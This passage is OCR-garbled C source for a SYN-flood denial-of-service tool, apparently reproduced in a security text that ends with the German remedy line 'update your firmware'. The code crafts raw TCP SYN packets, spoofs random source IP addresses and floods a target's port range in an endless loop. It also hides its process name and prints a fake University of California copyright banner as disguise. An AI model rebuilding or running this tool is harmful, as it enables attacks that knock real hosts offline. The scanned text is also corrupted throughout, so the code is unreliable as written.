ih ttl=30;

i h. protocol =I PPROTO_TCP;
i h. check=0;

i h. saddr =ny_i p;

i h. daddr =t heir _ip;

t h. sour ce=ht ons(srcport);
t h. dest =ht ons(port);

t h. seq=ht onl ( SEQ) ;

t h. dof f =si zeof (t h) / 4;

t h. ack_seq=0;

th. resl1=0;

t h. fi n=0;

t h. syn=1;

th.rst=0

t h. psh=0;

t h. ack=0;

t h. ur g=0;

t h. res2=0;

t h. w ndow=ht ons(65535) ;
t h. check=0;
th.urg_ptr=0;

getti nmeof day(& v, 0);

send_tcp_segnent (& h, &h, "", 0);
send_seq = SEQ+l+strlen(buf);
}
voi d upsc()
{
int i;
char schar
switch(cnt)
{
case O:
{
schar = "|";
br eak;
}
case 1:
{
schar = "'/"';
br eak;
}
case 2:
{
schar = '-':
br eak;
}
case 3:
{
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schar = "\\";
br eak;
}
case 4:
{
schar = "|";
cnt = 0O,
br eak;
}
}
printf(" [H[1;30n] [1;31nPe [1;30n] [Om %", schar, curc);
cnt ++;
for(i=0; i1<26; i++) {
i ++;
cur c++;
}
}
void init_signals()
{

/'l Every Signal known to man. If one gives you an error,

comment it out!
signal (SIGHUP, sig exit);
signal (SIG NT, sig_exit);
signal (SIGQUIT, sig exit);
signal (SIALL, sig exit);
si gnal (SI GTRAP, sig_exit);
signal (SIA OT, sig exit);
si gnal (SI GBUS, sig_exit);
signal (SIGFPE, sig exit);
signal (SIGKILL, sig exit);
signal (SI GUSR1, sig_exit);
si gnal (SI GSEGV, sig _segv);
signal (SI GUSR2, sig_exit);
signal (SIGPIPE, sig exit);
signal (SI GALRM sig exit);
signal (SIGTERM sig_exit);
signal (SI GCHLD, sig exit);
si gnal (SI GCONT, sig_exit);
signal (SI GSTOP, sig exit);
signal (SI GTSTP, sig exit);
signal (SIGITIN, sig_exit);
signal (SIGITQU, sig exit);
signal (SI GURG, sig_exit);
signal (SI GXCPU, sig exit);
signal (SI GXFSZ, sig exit);
si gnal (SI GVTALRM sig_exit);
signal (SI GPROF, sig exit);
signal (SIGN NCH, sig_exit);
signal (SIA 0O sig exit);
signal (SIGPWR, sig exit);

}

mai n(i nt argc, char **argv) {

int i, x, max, floodloop, diff, urip, a, b, c, d;
unsi gned | ong them ne_fake;
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unsi gned | owport, highport;
char buf[1024], *junk;

I nit_signals();
#i f def HI DDEN
for (i = argc-1; i >=0; i--)
/* Sonme people like bzero...i prefer nenset :) */
menset (argv[i], O, strlen(argv[i]));
strcpy(argv[ 0], HI DDEN);
#endi f

I f(argc<b) {
printf("Usage: % srcaddr dstaddr |ow high\n", argv[O0]);
printf(" | f srcaddr is 0, random addresses will be
used\n\n\n");

exit(1l);
}
i f( atoi(argv[1l]) == 0)
urip = 1;
el se
me_f ake=get addr (argv[1]);
t hemeget addr (argv[ 2] ) ;
| owport=atoi (argv[ 3])
hi ghport =at oi (argv[4]);
srandon(time(0));
ssock=socket (AF_I NET, SOCK_RAW | PPROTO _RAW ;
I f(ssock<0) {
perror("socket (raw");
exit(1);
}
sock=socket (AF_I NET, SOCK RAW | PPROTO TCP);
I f (sock<0) {
perror("socket");
exit(1);

——

junk = (char *)mall oc(1024);
max = 1500;

i = 1;

diff = (highport - Iowport);

if (diff > -1)

{
printf(" [H[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990,
1991 The Regents of the University\n of California. All Rights
Reserved. ") ;
for (i=1;i>0;i++)
{
srandon{ (tinme(0)+i));
srcport = getrandon(1l, max)+1000;
for (x=lowport;x<=hi ghport; x++)
{
if (urip==1)
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{
a = getrandom( 0, 255);
b = getrandon(0, 255);
c = getrandom( 0, 255);
d = getrandom( 0, 255);
sprintf(junk, "%.%.%.%", a, b, c, d);
nme_fake = getaddr(junk);
}

spoof open(/*0xele26d0a*/ ne_fake, them Xx);
/* A fair delay. Good for a 28.8 connection */
usl eep(300);

if (!(floodloop = (floodl oop+1)%diff+1))) {
upsc(); fflush(stdout);

}
}
}
}
el se {
printf("H gh port nmust be greater than Low port.\n");
exit(1);

}

Losung: Aktualisieren Sie lhre Firmware.
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